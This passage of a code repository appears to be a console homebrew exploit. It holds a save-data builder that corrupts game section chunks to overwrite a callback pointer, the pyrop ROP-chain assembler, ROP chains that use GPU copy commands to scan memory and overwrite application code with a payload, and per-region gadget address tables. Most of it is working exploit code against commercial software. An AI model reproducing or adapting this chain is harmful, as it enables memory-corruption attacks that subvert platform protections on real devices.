| 63 | org(SECTION2_PTR+0x404) 64 | 65 | fill(0x2C*GAME_SECTIONS_ENTRY, 0) # add 0x102 null chunks (unused) of size 0x2C 66 | #chunk 0x102 overwrites some pointers, don't change them to avoid issues 67 | add_word(SECTION1_PTR) #this will be written over the section1 ptr in BSS, don't change it (current_game_sections) 68 | add_word(SECTION2_PTR) #this will be written over the section2 ptr in BSS, don't change it 69 | fill(0x24, 0) 70 | 71 | 72 | org(SECTION2_PTR+0x404+CALLBACK_VAR_ENTRY*0x2C) 73 | #chunk 0x2237 overwrite a pointer used in a callback, we take control of it to get an arbitrary jump 74 | fill(0x1C, 0) 75 | add_word(controlled_ptr) # JPN: callback value to overwrite is a bit (0x8 bytes) less far in mem than the one on EUR/USA (bss section is different on JPN, while USA and EUR ones are really similar) 76 | add_word(0x0) 77 | add_word(controlled_ptr) # EUR/USA: overwrite a variable used in a callback (sub_10FA00 in EUR 1.1.4), offset 0x26 overwritten affect size of the chunk 78 | add_word(0x0) 79 | 80 | # to overwrite the ptr we need to write a value != 0 at offset 0x26, so the size of the chunk is affected by that 81 | fill((controlled_ptr & 0x00FF0000) >> 24, 0) # add null bytes in extra data according to what is written at chunk offset 0x26 82 | 83 | 84 | #add some extra chunks with a large size (offset 0x26 set to 0xFF) so the loop that parses them is going to take more time to terminate 85 | #this gives enough time for the callback to be called before the function that contains the loop returns 86 | #so we take over the callback's thread and then memcpy over the stack of the main thread (the one where the loop is running) to get control of it (see rop_loader.py) 87 | for i in range(nb_entries-(CALLBACK_VAR_ENTRY+1)): 88 | fill(0x2C, 0xFF) 89 | fill(0x38*0xFF, 0xFF) 90 | 91 | 92 | 93 | ##STUFF TO STACK PIVOT UNDER THE CALLBACK THREAD## 94 | 95 | put_label("controlled_ptr") 96 | add_word(0xFFFFFFFF) # *(u8*)(controlled_ptr+1) has to be != 0 to make it jump to *(u32*)(controlled_ptr+0x38) 97 | add_word(0x0) 98 | add_word(0x0) 99 | #offset 0xC 100 | add_word(0x2) #has to be even to avoid some useless stuff 101 | add_word(0x0) 102 | add_word(0x0) 103 | #offset 0x18 104 | add_word((controlled_ptr - 0x1C*(jmp_arg-1))%0x100000000) #to compute a ptr the game does that : v2 = *(u32*)(controlled_ptr+0x18) + 0x1C * *(u32*)(controlled_ptr+0x28), so set this value such as the ptr = controlled_ptr 105 | add_word(0x0) 106 | add_word(0x0) # need to be less than value at offset 0x28 +1 to avoid a (potentially annoying) jump, so just set it to 0 107 | add_word(0x0) 108 | #offset 0x28 109 | add_word(jmp_arg-1) #arg passed to the fun see offset 0x38 110 | add_word(0x0) 111 | add_word(0x0) 112 | add_word(0x0) 113 | #offset 0x38 114 | add_word(MOV_R4R0_LDR_R1R0_LDR_R1R1_8_BLX_R1) #jump to this, when jump r0= *(u32*)(controlled_ptr+0x28) + 1 115 | #so we control r0 and pc 116 | #move r0 to r4 and then jump to LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1 to load r2 117 | 118 | 119 | ##R0 POINTS HERE WHEN GETTING ARBITRARY JUMP## 120 | 121 | put_label('jmp_arg') 122 | add_word(jmp_arg-0x4) 123 | add_word(LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1) # load the pivot gadget to r2 and then jump to LDRD_ROR1R4_8_BLX_R2 (r0 is unchanged here) 124 | add_word(ROP_LOADER_PTR) #popped to r0, new stack pointer for the pivot => jump to rop loader 125 | add_word(NOP) #popped to r1, jump to pop {pc} after the stack pointer is changed 126 | 127 | org(jmp_arg+0x30) 128 | add_word(LDRD_ROR1R4_8_BLX_R2) # load r0 and r1 and then jump to the pivot gadget 129 | 130 | org(jmp_arg+0x60) 131 | add_word(MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1) #popped to r2, pivot gadget 132 | add_word(0xDEADC0DE) #popped to r3, unused 133 | 134 | 135 | ##PAYLOADS## 136 | 137 | org(OTHERAPP_PTR-0x4) #too lazy to compute the exact position of the last 0xDEADC0DE, so we just store the payloads at a fixed offset that should be reached by all the previous stuff 138 | add_word(os.path.getsize('../otherapp.bin')) 139 | incbin("../otherapp.bin") 140 | incbin("../code/code.bin") 141 | 142 | put_label('end') 143 | -------------------------------------------------------------------------------- /pyrop/base_modules.py: -------------------------------------------------------------------------------- 1 | from builder_base import user_function, BaseBuilder 2 | from ast import * 3 | from inspect import * 4 | import traceback 5 | 6 | # def get_module(builder, module): 7 | # return type(module.__name__ + builder.__name__, (module, builder,), dict(module.__dict__)) 8 | 9 | 10 | class IncludeModule(BaseBuilder): 11 | def __init__(self): 12 | super().__init__() 13 | self.current_path = "" 14 | 15 | def set_current_path(self, base_path): 16 | self.current_path = os.path.dirname(os.path.abspath(base_path)) 17 | 18 | @user_function 19 | def include(self, incfile: str): 20 | 21 | old = self.current_path 22 | self.current_path = os.path.join(old, os.path.dirname(incfile)) 23 | 24 | path = os.path.join(self.current_path, os.path.basename(incfile)) 25 | sys.path.append(self.current_path) 26 | 27 | try: 28 | content = open(path, "rb").read() 29 | os.chdir(self.current_path) # set the current working directory, for open() etc. 30 | exec(compile(content, path, 'exec'), self.user_functions) 31 | except Exception as err: 32 | print("An exception occured while building: ", file=sys.stderr) 33 | lines = traceback.format_exc(None, err).splitlines() 34 | print(" " + lines[-1], file=sys.stderr) 35 | for l in lines[3:-1]: 36 | print(l, file=sys.stderr) 37 | exit(1) 38 | 39 | sys.path.remove(self.current_path) 40 | os.chdir(old) 41 | self.current_path = old 42 | 43 | def load(self, file): 44 | self.set_current_path(file) 45 | super().load(file) 46 | 47 | 48 | class AreaModule(BaseBuilder): 49 | def __init__(self): 50 | super().__init__() 51 | self.areas = [] 52 | 53 | @user_function 54 | def append(self, bytes_l): 55 | super().append(bytes_l) 56 | self.check_areas() 57 | 58 | @user_function 59 | def begin_area(self, size): 60 | if not self.loaded: 61 | return 62 | self.areas.append((len(self.chain), size)) 63 | 64 | @user_function 65 | def end_area(self): 66 | if not self.loaded: 67 | return 68 | self.areas.pop() 69 | 70 | def check_areas(self): 71 | for area in self.areas: 72 | if len(self.chain)-area[0] > area[1]: 73 | raise OverflowError("Area overflowed!") 74 | 75 | 76 | class LabelContext: 77 | def __init__(self, parent, l_locals): 78 | self.locals = l_locals 79 | self.parent = parent 80 | 81 | def setdefault(self, key, value): 82 | self.locals.setdefault(key, value) 83 | 84 | def __getitem__(self, item): 85 | """ 86 | Return the value associated to the label name in the nearest context that contains it. 87 | (search in context then context's parent and then parents of context's parent...) 88 | :param item: label name 89 | :return: address associated to the label 90 | """ 91 | current = self 92 | while current is not None: 93 | if item in current.locals: 94 | return current.locals[item] 95 | current = current.parent 96 | 97 | def __contains__(self, item): 98 | """ 99 | Override 'in' operator, search the label in the local dict and all the parents dicts. 100 | :param item: label to search 101 | :return: True if label is found, False otherwise 102 | """ 103 | current = self 104 | while current is not None: 105 | if item in current.locals: 106 | return True 107 | current = current.parent 108 | return False 109 | 110 | 111 | class Macro: 112 | 113 | def __init__(self): 114 | self.total_count = 0 115 | self.current_instance = 0 116 | self.instance_contexts = [] 117 | 118 | def add_instance(self, context): 119 | """ 120 | Add a new instance. 121 | :param context: instance label context 122 | :return: None 123 | """ 124 | self.instance_contexts.append(context) 125 | self.total_count += 1 126 | 127 | def reset_current_instance(self): 128 | """ 129 | Reset the current_instance counter. 130 | :return: None 131 | """ 132 | self.current_instance = 0 133 | 134 | def get_last_instance(self): 135 | """ 136 | Get the last instance added. 137 | :return: macro's last instance 138 | """ 139 | return self.instance_contexts[-1] 140 | 141 | def get_next_instance(self): 142 | """ 143 | Get the current instance, then increment the current_instance value. 144 | :return: current instance label context 145 | """ 146 | self.current_instance += 1 147 | return self.instance_contexts[self.current_instance - 1] 148 | 149 | 150 | class LabelModule(BaseBuilder): 151 | def __init__(self): 152 | super().__init__() 153 | self.context_stack = [] 154 | 155 | self.global_context = dict() 156 | self.current_context = self.global_context 157 | 158 | self.macros = dict() 159 | 160 | def load(self, file): 161 | self.parse_labels(open(file).read()) 162 | self.user_functions.update(self.global_context) 163 | super().load(file) 164 | self.user_functions.update(self.global_context) 165 | 166 | def __setitem__(self, name: str, address: int): 167 | """ 168 | Add a label to the current context. 169 | Override [] assignment. 170 | :param name: label name 171 | :param address: label address 172 | :return: None 173 | """ 174 | if self.loaded: 175 | return 176 | 177 | if address is None: 178 | address = self.mem_offset 179 | elif address.bit_length() > 32: 180 | raise ValueError("Label address should be 32 bits long!") 181 | 182 | self.current_context[name] = address 183 | self.user_functions.update(self.current_context) 184 | 185 | def __getitem__(self, name): 186 | """ 187 | Get address associated to the label name in current_context. 188 | :param name: label name 189 | :return: address associated to label 190 | """ 191 | if name not in self.current_context: 192 | raise KeyError("Trying to use an undefined label!") 193 | return self.current_context[name] 194 | 195 | def __contains__(self, item): 196 | """ 197 | Override 'in' operator. 198 | :param item: label name 199 | :return: True if current_context contains the label, False otherwise 200 | """ 201 | return item in self.current_context 202 | 203 | def get_current_context(self): 204 | return self.current_context 205 | 206 | def register_macro(self, name: str): 207 | """ 208 | Register a new macro in the macros dict. 209 | :param name: macro's name 210 | :return: None 211 | """ 212 | self.macros.setdefault(name, Macro()) 213 | 214 | def add_macro_context(self, name: str, context: dict = None): 215 | """ 216 | Add a new instance/context to a Macro object 217 | :param name: macro's name 218 | :param context: macro's label context, default = dict() 219 | :return: None 220 | """ 221 | if context is None: 222 | context = dict() 223 | self.macros[name].add_instance(dict()) 224 | 225 | def switch_context(self, context): 226 | """ 227 | Switch the current context. 228 | :param context: the new context 229 | :return: None 230 | """ 231 | self.context_stack.append(self.current_context) 232 | self.current_context = context 233 | 234 | def restore_context(self): 235 | """ 236 | Restore the previous context. 237 | :return: None 238 | """ 239 | self.current_context = self.context_stack.pop() 240 | 241 | @user_function 242 | def put_label(self, name: str, address: int = None): 243 | if type(name) is not str: 244 | raise ValueError("Label name expected, " + type(name).__name__ + " was given!") 245 | self[name] = address 246 | 247 | @user_function 248 | def get_label(self, name: str): 249 | return self[name] 250 | 251 | def parse_labels(self, source): 252 | tree = parse(source, "", 'exec') 253 | for node in walk(tree): 254 | if isinstance(node, Call): 255 | id = node.func.id if isinstance(node.func, Name) else node.func.attr 256 | if id == "put_label" and node.args and isinstance(node.args[0], Str): 257 | name = node.args[0].s 258 | if name in self.current_context: 259 | raise NameError("Label name already used!") 260 | self.current_context.setdefault(name, 0) 261 | 262 | 263 | 264 | @user_function 265 | def macro(self, func): 266 | """ 267 | The macro function decorator. 268 | :param func: macro function 269 | :return: the wrapped function 270 | """ 271 | self.register_macro(func.__name__) 272 | 273 | def wrapper(*args, **kwargs): 274 | old = func.__globals__.copy() 275 | for key in self.current_context.keys(): 276 | del func.__globals__[key] 277 | 278 | if not self.loaded: 279 | self.add_macro_context(func.__name__) 280 | self.switch_context(self.macros[func.__name__].get_last_instance()) 281 | self.parse_labels(getsource(func)) 282 | 283 | else: 284 | self.switch_context(self.macros[func.__name__].get_next_instance()) 285 | 286 | func.__globals__.update(self.current_context) 287 | func(*args, **kwargs) 288 | func.__globals__.clear() 289 | func.__globals__.update(old) 290 | 291 | self.restore_context() 292 | 293 | wrapper.original = func.original if hasattr(func, 'original') else func 294 | return wrapper 295 | 296 | 297 | class PopModule(BaseBuilder): 298 | def __init__(self): 299 | super().__init__() 300 | self.pop_macros = dict() 301 | self.current_count = 0 302 | 303 | def append_stub(self, other): 304 | self.current_count += len(other) 305 | 306 | @user_function 307 | def pop_macro(self, func): 308 | wrapped_func = func 309 | original_func = func.original if hasattr(func, 'original') else func 310 | 311 | args = signature(original_func).parameters.keys() 312 | if set(args) - {"r"+str(i) for i in range(16)}: 313 | raise Exception("Non register argument found in pop_macro!") 314 | 315 | self.current_count = 0 316 | append = self.append 317 | self.append = self.append_stub 318 | 319 | wrapped_func(**({name: 0 for name in args})) 320 | self.append = append 321 | 322 | self.pop_macros[original_func.__name__] = (func, set(args), self.current_count) 323 | return func 324 | 325 | @user_function 326 | def pop(self, **registers): 327 | reg_set = set(registers.keys()) 328 | if reg_set - {"r"+str(i) for i in range(16)}: 329 | raise Exception("Trying to pass non register argument to a pop_macro!") 330 | candidates = {name: infos for name, infos in self.pop_macros.items() if infos[1] & reg_set} 331 | pop_stack = [] 332 | while reg_set: 333 | pop_stack.append(self.find_best(candidates, reg_set)) 334 | if pop_stack[-1] is None: 335 | raise Exception("Could not find pop_macro to pop register(s): " + str(reg_set)) 336 | reg_set -= self.pop_macros[pop_stack[-1]][1] 337 | for func in pop_stack: 338 | candidates[func][0](**{reg: registers.get(reg, 0x0) for reg in candidates[func][1]}) 339 | # if the value to pop isn't specified, then pop 0x0, for example when you only have pop {r2-r6, pc} to pop 340 | # r2 then 0x0 will be popped to r3-r6 341 | print(pop_stack) 342 | 343 | @staticmethod 344 | def find_best(candidates, regs): 345 | name = None 346 | best_rate = 0 347 | total_pop = 16 348 | for func, infos in candidates.items(): 349 | nb = len(regs & infos[1]) 350 | rate = nb/infos[2] 351 | if nb == 0: 352 | continue 353 | if best_rate < rate or (best_rate == rate and len(infos[1]) <= total_pop): 354 | name = func 355 | best_rate = rate 356 | total_pop = len(infos[1]) 357 | return name 358 | -------------------------------------------------------------------------------- /pyrop/builder_base.py: -------------------------------------------------------------------------------- 1 | import traceback 2 | import os 3 | import sys 4 | 5 | modules_user_functions = dict() 6 | 7 | 8 | def user_function(func): 9 | infos = func.__qualname__.rsplit('.', 1) 10 | modules_user_functions.setdefault(infos[0], dict()) 11 | modules_user_functions[infos[0]][infos[1]] = func 12 | return func 13 | 14 | 15 | class BaseBuilder: 16 | @classmethod 17 | def create(cls, name, *modules): 18 | def init(self): 19 | super(builder, self).__init__() 20 | 21 | builder = type(name, tuple(modules) + (cls,), {"__init__": init}) 22 | return builder() 23 | 24 | def __new__(cls, *args, **kwargs): 25 | instance = object.__new__(cls) 26 | instance.chain = None 27 | instance.mem_offset = 0 28 | instance.loaded = False 29 | instance.built = False 30 | instance.user_functions = dict() 31 | return instance 32 | 33 | def __init__(self): 34 | for base in reversed(self.__class__.__mro__): 35 | base_user_func = modules_user_functions.get(base.__qualname__, dict()) 36 | self.user_functions.update({name: base.__dict__[name].__get__(self, self.__class__) 37 | for name, func in base_user_func.items()}) 38 | 39 | def set_mem_offset(self, offset): 40 | pass 41 | 42 | def append(self, other): 43 | pass 44 | 45 | def load(self, file): 46 | pass 47 | 48 | def build(self, file): 49 | pass 50 | 51 | 52 | class BasicBuilder(BaseBuilder): 53 | def __init__(self): 54 | super().__init__() 55 | self.chain = [] 56 | self.mem_offset = 0 57 | 58 | @user_function 59 | def set_mem_offset(self, offset: int): 60 | self.mem_offset = offset 61 | 62 | def append(self, bytes_l): 63 | self.mem_offset += len(bytes_l) 64 | if self.loaded: 65 | self.chain += bytes_l 66 | 67 | def add_value(self, word: int, byte_size: int = 4): 68 | if byte_size < 1: 69 | raise ValueError("Size of word should be greater than zero!") 70 | 71 | bit_size = byte_size * 8 72 | if word.bit_length() > bit_size: 73 | raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!") 74 | 75 | self.append((word if self.loaded else 0).to_bytes(byte_size, 'little')) 76 | 77 | @user_function 78 | def add_word(self, word): 79 | self.add_value(word, 4) 80 | 81 | @user_function 82 | def add_halfword(self, word): 83 | self.add_value(word, 2) 84 | 85 | @user_function 86 | def add_byte(self, byte): 87 | self.add_value(byte, 1) 88 | 89 | @user_function 90 | def incbin(self, incfile: str): 91 | self.append(open(incfile, 'rb').read()) 92 | 93 | @user_function 94 | def org(self, address: int): 95 | if address < self.mem_offset: 96 | raise ValueError("Trying to ORG backwards!") 97 | 98 | self.append([0x0 for i in range(address - self.mem_offset)]) 99 | 100 | @user_function 101 | def align(self, value: int): 102 | self.append([0 for i in range((value - (self.mem_offset % value)) % value)]) 103 | 104 | @user_function 105 | def fill(self, size: int, value: int, v_byte_size: int = 1): 106 | if v_byte_size < 1: 107 | raise ValueError("Size of value should be greater than zero!") 108 | 109 | bit_size = v_byte_size * 8 110 | if value.bit_length() > bit_size: 111 | raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!") 112 | 113 | self.append((value.to_bytes(v_byte_size, 'little') * ((size // v_byte_size) + 1))[:size]) 114 | 115 | @user_function 116 | def add_ascii(self, string: str): 117 | self.add_str(string) 118 | 119 | @user_function 120 | def add_utf16(self, string: str): 121 | self.add_str(string, 'utf_16_le') 122 | 123 | @user_function 124 | def add_str(self, string: str, encoding: str = 'us-ascii'): 125 | self.append([c for c in string.encode(encoding)]) 126 | 127 | def build(self, file): 128 | if self.built: 129 | raise PermissionError("You cannot build multiple times!") 130 | 131 | if not self.loaded: 132 | self.load(file) 133 | 134 | old = os.getcwd() 135 | sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call 136 | try: 137 | content = open(file, "rb").read() 138 | os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc. 139 | exec(compile(content, file, 'exec'), self.user_functions) 140 | except Exception as err: 141 | print("An exception occured while building: ", file=sys.stderr) 142 | lines = traceback.format_exc(None, err).splitlines() 143 | print(" " + lines[-1], file=sys.stderr) 144 | for l in lines[3:-1]: 145 | print(l, file=sys.stderr) 146 | exit(1) 147 | 148 | os.chdir(old) 149 | sys.path.remove(os.path.dirname(os.path.abspath(file))) 150 | self.built = True 151 | 152 | def load(self, file): 153 | if self.loaded: 154 | return 155 | 156 | sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call 157 | old = os.getcwd() 158 | try: 159 | content = open(file, "rb").read() 160 | os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc. 161 | exec(compile(content, file, 'exec'), self.user_functions) 162 | except Exception as err: 163 | print("An exception occured while loading: ", file=sys.stderr) 164 | lines = traceback.format_exc(None, err).splitlines() 165 | print(" " + lines[-1], file=sys.stderr) 166 | for l in lines[3:-1]: 167 | print(l, file=sys.stderr) 168 | exit(1) 169 | 170 | os.chdir(old) 171 | sys.path.remove(os.path.dirname(os.path.abspath(file))) 172 | self.loaded = True 173 | self.mem_offset = 0 174 | -------------------------------------------------------------------------------- /pyrop/pyrop.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from ast import * 3 | from builder_base import * 4 | from base_modules import * 5 | 6 | cmdargs = sys.argv 7 | if len(cmdargs) != 3: 8 | print("Usage: pyRop.py input_file output_file") 9 | 10 | builder = BasicBuilder.create('Test', IncludeModule, AreaModule, LabelModule, PopModule) 11 | builder.build(cmdargs[1]) 12 | 13 | os.makedirs(os.path.dirname(os.path.abspath(cmdargs[2])), exist_ok=True) 14 | output_file = open(cmdargs[2], 'wb') 15 | output_file.write(bytes(builder.chain)) 16 | output_file.close() 17 | 18 | -------------------------------------------------------------------------------- /rop/Makefile: -------------------------------------------------------------------------------- 1 | all: build/rop_loader.bin build/rop.bin 2 | 3 | build/rop.bin: rop.py macros.py constants.py 4 | @python3 $(PYROP)/pyrop.py rop.py build/rop.bin 5 | 6 | build/rop_loader.bin: rop_loader.py macros.py constants.py 7 | @python3 $(PYROP)/pyrop.py rop_loader.py build/rop_loader.bin 8 | 9 | clean: 10 | @rm -rf build 11 | -------------------------------------------------------------------------------- /rop/constants.py: -------------------------------------------------------------------------------- 1 | TITLE_OFFSET = 0x1B3AC 2 | DESC_OFFSET = 0x276D8 3 | SECTION1_OFFSET = 0xE8 4 | SECTION2_OFFSET = 0x2E348 5 | 6 | LINEAR_BUFFER = 0x30000000 7 | APPMEMTYPE = 0x1FF80030 8 | SCANLOOP_STRIDE = 0x1000 9 | CODEBIN_MAX_SIZE = 0x326000 10 | PAYLOAD_VA = 0x384000 11 | -------------------------------------------------------------------------------- /rop/macros.py: -------------------------------------------------------------------------------- 1 | include("../ropdb/DB.py") 2 | 3 | def garbage(n): 4 | for i in range(n): 5 | add_word(0xDEAC0DE) 6 | 7 | def memcpy(dest, src, size): 8 | SET_LR(NOP) 9 | pop(r0=dest, r1=src, r2=size) 10 | add_word(MEMCPY) 11 | 12 | def memcmp(buf1, buf2, size): 13 | SET_LR(NOP) 14 | pop(r0=buf1, r1=buf2, r2=size) 15 | add_word(MEMCMP) 16 | 17 | @pop_macro 18 | def POP_R0(r0): 19 | add_word(POP_R0PC) 20 | add_word(r0) 21 | 22 | @pop_macro 23 | def POP_R1(r1): 24 | add_word(POP_R1PC) 25 | add_word(r1) 26 | 27 | @pop_macro 28 | def POP_R4(r4): 29 | add_word(POP_R4PC) 30 | add_word(r4) 31 | 32 | @pop_macro 33 | def POP_R2R3R4R5R6(r2, r3, r4, r5, r6): 34 | add_word(POP_R2R3R4R5R6PC) 35 | add_word(r2) 36 | add_word(r3) 37 | add_word(r4) 38 | add_word(r5) 39 | add_word(r6) 40 | 41 | def SET_LR(lr): 42 | POP_R1(NOP) 43 | add_word(POP_R4LR_BX_R1) 44 | add_word(0xDEADC0DE) #r4 garbage 45 | add_word(lr) 46 | 47 | def deref_to_r0(addr): 48 | POP_R0(addr) 49 | add_word(LDR_R0R0_POP_R4PC) 50 | add_word(0xDEADC0DE) 51 | 52 | def add_r0(value): 53 | POP_R1(value) 54 | add_word(ADD_R0R0R1_POP_R4PC) 55 | add_word(0xDEADC0DE) 56 | 57 | def compare_r0_0(): 58 | add_word(CMP_R0_0_MOVNE_R0_1_POP_R4PC) 59 | add_word(0xDEADC0DE) 60 | 61 | def store(value, addr): 62 | pop(r0=value, r4=addr) 63 | add_word(STR_R0R4_POP_R4PC) 64 | add_word(0xDEADC0DE) 65 | 66 | def store_if_equal(value, addr): 67 | pop(r0=value, r4=addr-4) 68 | add_word(STREQ_R0R4_4_POP_R4R5R6PC) 69 | garbage(3) 70 | 71 | def store_r0(addr): 72 | POP_R4(addr) 73 | add_word(STR_R0R4_POP_R4PC) 74 | add_word(0xDEADC0DE) 75 | 76 | def sleep(tl, th=0): 77 | SET_LR(NOP) 78 | pop(r0=tl, r1=th) 79 | add_word(SVC_SLEEPTHREAD) 80 | 81 | def flush_dcache(addr, size): 82 | pop(r0=addr, r1=size) 83 | add_word(GSPGPU_FLUSHDATACACHE_WRAPPER+0x4) 84 | garbage(3) 85 | -------------------------------------------------------------------------------- /rop/rop.py: -------------------------------------------------------------------------------- 1 | include("../ropdb/DB.py") 2 | from constants import * 3 | import os 4 | include("macros.py") 5 | 6 | LOOP_DST = LINEAR_BUFFER + 0x1D00000 7 | INITIAL_DST = LINEAR_BUFFER + 0x1B00000 8 | 9 | set_mem_offset(ROP_LOADER_PTR+os.path.getsize("build/rop_loader.bin")) # this rop is right after rop loader 10 | 11 | put_label("start") 12 | 13 | deref_to_r0(APPMEMTYPE) 14 | add_r0(0x100000000-0x6) 15 | compare_r0_0() 16 | store_if_equal(LINEAR_BUFFER + 0x07C00000 - CODEBIN_MAX_SIZE, loop_src) 17 | store(SVC_EXITTHREAD, ANNOYING_THREAD_KILL) 18 | 19 | put_label("scan_loop") 20 | 21 | add_word(GSPGPU_GXTRYENQUEUE_WRAPPER) 22 | add_word(0x4) 23 | put_label("loop_src") 24 | add_word(LINEAR_BUFFER + 0x04000000 - CODEBIN_MAX_SIZE) 25 | add_word(LOOP_DST) 26 | add_word(SCANLOOP_STRIDE) 27 | add_word(0xFFFFFFFF) 28 | add_word(0xFFFFFFFF) 29 | add_word(0x8) 30 | add_word(0x0) 31 | 32 | add_word(0x0) 33 | 34 | garbage(4) 35 | 36 | sleep(200*1000) 37 | 38 | store(GSPGPU_GXTRYENQUEUE_WRAPPER, scan_loop) 39 | flush_dcache(LOOP_DST, SCANLOOP_STRIDE) 40 | 41 | memcmp(LOOP_DST, PAYLOAD_VA, 0x20) 42 | compare_r0_0() 43 | store_if_equal(NOP, loop_pivot) 44 | 45 | deref_to_r0(loop_src) 46 | add_r0(SCANLOOP_STRIDE) #next mempage 47 | store_r0(loop_src) 48 | 49 | pop(r0=NOP_ptr_min_0x8) 50 | 51 | pop(r0=scan_loop, r1=NOP) 52 | put_label("loop_pivot") 53 | add_word(MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1) 54 | 55 | 56 | deref_to_r0(loop_src) 57 | add_r0(0x100000000 - SCANLOOP_STRIDE) #after the scanloop is broken, magicval is at *(loop_src) - SCANLOOP_STRIDE 58 | store_r0(final_dst) #store the location for the final gspwn 59 | 60 | memcpy(INITIAL_DST, OTHERAPP_PTR + os.path.getsize('../otherapp.bin'), os.path.getsize('../code/code.bin')) 61 | 62 | flush_dcache(INITIAL_DST, 0x100000) 63 | 64 | add_word(GSPGPU_GXTRYENQUEUE_WRAPPER) 65 | add_word(0x4) 66 | add_word(INITIAL_DST) 67 | put_label("final_dst") 68 | add_word(0xDEADC0DE) 69 | add_word(0x2000) 70 | add_word(0xFFFFFFFF) 71 | add_word(0xFFFFFFFF) 72 | add_word(0x8) 73 | add_word(0x0) 74 | 75 | add_word(0x0) 76 | 77 | garbage(4) 78 | 79 | sleep(1000*1000*1000) 80 | 81 | add_word(PAYLOAD_VA) 82 | 83 | put_label("NOP_ptr_min_0x8") 84 | add_word(NOP_ptr_min_0x8) 85 | 86 | add_word(0x0) 87 | add_word(NOP) 88 | 89 | put_label("end") 90 | -------------------------------------------------------------------------------- /rop/rop_loader.py: -------------------------------------------------------------------------------- 1 | include("../ropdb/DB.py") 2 | from constants import * 3 | include("macros.py") 4 | 5 | set_mem_offset(ROP_LOADER_PTR) 6 | 7 | put_label("start") 8 | 9 | memcpy(STACK_DEST, stage0, end-stage0) 10 | add_word(SVC_EXITTHREAD) 11 | 12 | put_label("stage0") 13 | 14 | pop(r0=ROP_LOADER_PTR+end-start, r1=NOP) 15 | add_word(MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1) 16 | 17 | put_label("end") 18 | -------------------------------------------------------------------------------- /ropdb/EUR.py: -------------------------------------------------------------------------------- 1 | MOV_R4R0_LDR_R1R0_LDR_R1R1_8_BLX_R1 = 0x216000 2 | LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1 = 0x1F615C 3 | LDRD_ROR1R4_8_BLX_R2 = 0x11E740 4 | 5 | MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x16E978 6 | 7 | NOP = 0x297DFC 8 | POP_R0PC = 0x10FBE4 9 | POP_R1PC = 0x28BE28 10 | POP_R3PC = 0x117D10 11 | POP_R4PC = 0x1042B8 12 | POP_R4R5PC = 0x108284 13 | POP_R4R5R6PC = 0x104264 14 | POP_R2R3R4R5R6PC = 0x277C10 15 | POP_R4R5R6R7R8R9R10R11R12PC = 0x29C95C 16 | 17 | POP_R4LR_BX_R1 = 0x12355C 18 | 19 | SUB_SPSP_BC_LDR_R3R0_MUL_R1R7R1_LDR_R3R3_8_BLX_R3 = 0x393144 20 | 21 | LDR_R0R0_POP_R4PC = 0x20D778 22 | LDR_R0R4_POP_R4PC = 0x13897C 23 | STR_R0R4_POP_R4PC = 0x1301FC 24 | ADD_R0R0R4_POP_R4R5R6PC = 0x12C1A4 25 | ADD_R0R0R1_POP_R4PC = 0x18BC28 26 | 27 | CMP_R0_0_MOVNE_R0_1_POP_R4PC = 0x10FD38 28 | STREQ_R0R4_4_POP_R4R5R6PC = 0x37568C 29 | 30 | MEMCPY = 0x28B954 31 | MEMCMP = 0x259914 32 | 33 | SVC_SLEEPTHREAD = 0x273D6C 34 | SVC_EXITTHREAD = 0x11E76C 35 | 36 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x120A00 37 | GSPGPU_GXTRYENQUEUE = 0x278A34 38 | GSPGPU_SETTEXTURECOPY = 0x120C70 #GXCMD4 39 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x118A10 40 | GSPGPU_FLUSHDATACACHE = 0x120F94 41 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x3EDC40 42 | GSPGPU_HANDLE = 0x3F67F0 43 | 44 | DSP_UNLOADCOMPONENT = 0x278C1C 45 | DSP_REGISTERINTERRUPTEVENTS = 0x2FB604 46 | DSP_HANDLE = 0x3F67B4 47 | 48 | #OFFSET/PTR 49 | SECTION1_OFFSET = 0xE8 50 | SECTION2_OFFSET = 0x2E348 51 | SECTION1_PTR = 0x08A67E84 52 | FILE_PTR = SECTION1_PTR - SECTION1_OFFSET 53 | SECTION2_PTR = FILE_PTR + SECTION2_OFFSET 54 | OTHERAPP_PTR = FILE_PTR+0x190000+0x4 55 | 56 | ROP_LOADER_PTR = SECTION2_PTR+0x8 57 | STACK_DEST = 0x0FFFFE6C 58 | 59 | ANNOYING_THREAD_KILL = 0x4FA3B8 60 | -------------------------------------------------------------------------------- /ropdb/JPN.py: -------------------------------------------------------------------------------- 1 | ADD_R0R0R1_POP_R4PC = 0x18be28 2 | ADD_R0R0R4_POP_R4R5R6PC = 0x12c2e4 3 | 4 | CMP_R0_0_MOVNE_R0_1_POP_R4PC = 0x10fe88 5 | 6 | DSP_REGISTERINTERRUPTEVENTS = 0x31EB8C 7 | DSP_UNLOADCOMPONENT = 0x28f1c4 8 | DSP_HANDLE = 0x41D0DC 9 | 10 | GSPGPU_FLUSHDATACACHE = 0x121680 11 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x118b30 12 | GSPGPU_GXTRYENQUEUE = 0x28efdc 13 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x1210EC 14 | GSPGPU_SETTEXTURECOPY = 0x12135c 15 | GSPGPU_HANDLE = 0x41D108 16 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x412C40 17 | 18 | LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1 = 0x2a7b24 19 | LDRD_ROR1R4_8_BLX_R2 = 0x11e860 20 | LDR_R0R0_POP_R4PC = 0x21be14 21 | 